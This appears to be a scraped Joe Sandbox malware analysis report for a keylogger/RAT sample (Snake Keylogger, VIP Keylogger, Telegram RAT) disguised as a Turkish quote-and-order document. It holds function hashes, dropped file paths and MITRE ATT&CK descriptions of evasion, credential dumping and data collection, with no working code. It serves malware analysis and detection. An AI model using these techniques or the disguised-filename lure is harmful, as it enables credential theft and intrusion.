Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4fbab63327516c557a942cfbce14708f1fdb5a47c959c922cd31562987c8da6
Instruction ID: 6bc0bfd531de007f55c4d41c72f4ce9c8f149ab2b5186727bcfb2175ba11c2e4
Opcode Fuzzy Hash: b4fbab63327516c557a942cfbce14708f1fdb5a47c959c922cd31562987c8da6
Instruction Fuzzy Hash: C9014CB4D0424ADFDB40DFA8E985AAEFBB1FB88304F014265E914E3354D7389A46DF80

Function 00F9D005 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4574805937.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f9d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a41ae746d18c358f5127e0e931671085e994ccbd4f28768e83bec7d886c850bb
Instruction ID: f94065d20408c7e1ea658028e0a0cd7862512b94190c2e20f0df92e4c1164956
Opcode Fuzzy Hash: a41ae746d18c358f5127e0e931671085e994ccbd4f28768e83bec7d886c850bb
Instruction Fuzzy Hash: CB012C71109780AFD7228F15C854C23BFB9EF8666072A85DAE8858F263C634EC05CB61

Function 00F9D01F Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4574805937.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_f9d000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f15ce2ea1a36580f286be95d29fb223d5f96eea08abf15e085eb65d5c88d6c
Instruction ID: 55221eaeb1d05eb87ef8c69597c23f052d3ddaee1ab743e236ac5a87aaea03cf
Opcode Fuzzy Hash: d5f15ce2ea1a36580f286be95d29fb223d5f96eea08abf15e085eb65d5c88d6c
Instruction Fuzzy Hash: FDF0F976640604AF97208F0AD885C27FBEDEBC5770765C59AE84A4B712C671EC42CEA0

Function 012028A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5eea70895d4e519fd70edd05d32c51ef9046dde99d14edfab3be694734204de
Instruction ID: 12d1b074bbe88bd1bf9c731f3198ed19c077d9527631e7b732b0dbd7e32a811e
Opcode Fuzzy Hash: b5eea70895d4e519fd70edd05d32c51ef9046dde99d14edfab3be694734204de
Instruction Fuzzy Hash: E9E02035D553978BC702E7F0AC040EEBB349DC2111B08459BD4A137051EB301159C761

Function 012028B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e693327845e846c0f48a52205e7cf74838f9db75557b131171bd8a7cd6fef39
Instruction ID: 73aaf64c7bb5018b7e65ebf16bc7ffe48f22b4e9635f271f6c0d446ca8962ddd
Opcode Fuzzy Hash: 2e693327845e846c0f48a52205e7cf74838f9db75557b131171bd8a7cd6fef39
Instruction Fuzzy Hash: 57D02B31D2022B53CB00E7A1FC004DFF738EEC1220B404222E91033000FB302658C6F0

Function 01208EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: edba86910429038157f5ad76d7ee4edcebd5c05b1a6d18f24d2c166e0cb24738
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 51C0123351C1242B9726105E7C459A3764DC2C12B4A51023BFB1CD324298425C8001A4

Function 01206739 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d0b8c63c632c18fed6c9043096c832c8c77bd6ea94340048620fce2d2b50b1
Instruction ID: f640a43d6d977999ef0ca3456bbc24f0f602c2fd469c3f076a902ca157816075
Opcode Fuzzy Hash: 61d0b8c63c632c18fed6c9043096c832c8c77bd6ea94340048620fce2d2b50b1
Instruction Fuzzy Hash: F6D05B719087459FD709E73598C66553F319790204F045574A0019759AEEBD8C458B10

Function 0120D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 170211d0f2b41d619d23056d4f3744434d752c1bf4e1c0aece386b882886a0f1
Instruction ID: 22b4537c02a40e9f7ea885884dbecf4be112053a479c151f88e54b2aad65dd54
Opcode Fuzzy Hash: 170211d0f2b41d619d23056d4f3744434d752c1bf4e1c0aece386b882886a0f1
Instruction Fuzzy Hash: 35D0E235E4000DCBCF20DFA8E4884DCBB70EB88321B14642AD925A3281CA3424248F00

Function 0120AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3324ecbed1154ec7ab95b62decf285950f676ea981569f5fbe250724a85db98
Instruction ID: 332b817b661aa3a55716cf8efe94d1450e568ae382be3b8bd5cb815fd0966053
Opcode Fuzzy Hash: c3324ecbed1154ec7ab95b62decf285950f676ea981569f5fbe250724a85db98
Instruction Fuzzy Hash: 5ED0673BB401089FCB049F98E844DDDF7B6FB98261B048526E915E7260C6319925DB50

Function 01206748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f99accb7d254f237841ccb00d60910c017e33463bd1e7eeca103e41bbced2a2f
Instruction ID: 6e32be0ea77b8497de7ec5ae189593353c29b1f255aac23324b0e9181bc434e4
Opcode Fuzzy Hash: f99accb7d254f237841ccb00d60910c017e33463bd1e7eeca103e41bbced2a2f
Instruction Fuzzy Hash: 4FC01231400B1DCAD509F775ED4A6153B6AA6C0308B44A918A1055799DDFFC1D455690

Non-executed Functions

Function 0120F979 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a8fedc5590b66dd0a5618b547b709d8d2aa2dc1a2deb2e16f542a5ada26fbfa
Instruction ID: eb1a8d858ff41705f41ec53d0af6c90782e51a2a3fbb75e8f3536fa39048c74f
Opcode Fuzzy Hash: 7a8fedc5590b66dd0a5618b547b709d8d2aa2dc1a2deb2e16f542a5ada26fbfa
Instruction Fuzzy Hash: C1C1D374E00258CFEB15DFA5C984B9DBBB2BF89304F1081A9D809AB395DB359E81CF50

Function 0120F2D8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413871b57493d051844ab35e9e482f73f83d5d3eba5ba82d716d47cfe8833d7d
Instruction ID: 816fbbfe1be144a4986b3f87f34b494b124fe7443714e47c219974e294a4f9e9
Opcode Fuzzy Hash: 413871b57493d051844ab35e9e482f73f83d5d3eba5ba82d716d47cfe8833d7d
Instruction Fuzzy Hash: 91516B70D51209CFEB16DFA8D6847EEBBB2FF88304F158229D504AB296D7759882CF50

Function 0120F4C4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4575592825.0000000001200000.00000040.00000800.00020000.00000000.sdmp, Offset: 01200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1200000_fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6151460e693a3ce6f74e4789609211348f7d670a3600856993185b46d34ea306
Instruction ID: bc295bd4240e50ec8a222761d59555bda5d71c22c44836162c029173a1ee36c4
Opcode Fuzzy Hash: 6151460e693a3ce6f74e4789609211348f7d670a3600856993185b46d34ea306
Instruction Fuzzy Hash: 75514770D50209CFDB26EFA8D6847EDBBB2FB48314F258219D905BB296C7759882CF50

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jkwsp2s.s4l.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hb2dgzb.wtk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cvdpgrcy.i1e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkrrqxq1.w50.psm1

Static File Info

General

File Icon

Windows Analysis Report
fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Function 029A7018 Relevance: 2.7, Strings: 2, Instructions: 181
COMMON

Function 029A4210 Relevance: 2.7, Strings: 2, Instructions: 180
COMMON

Function 029AD388 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Function 029AD398 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 029AAFD8 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Function 029A44D4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 029A590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 050BC75C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Function 050BDED9 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Function 029AD5D9 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 029AD5E0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 029AB1D8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre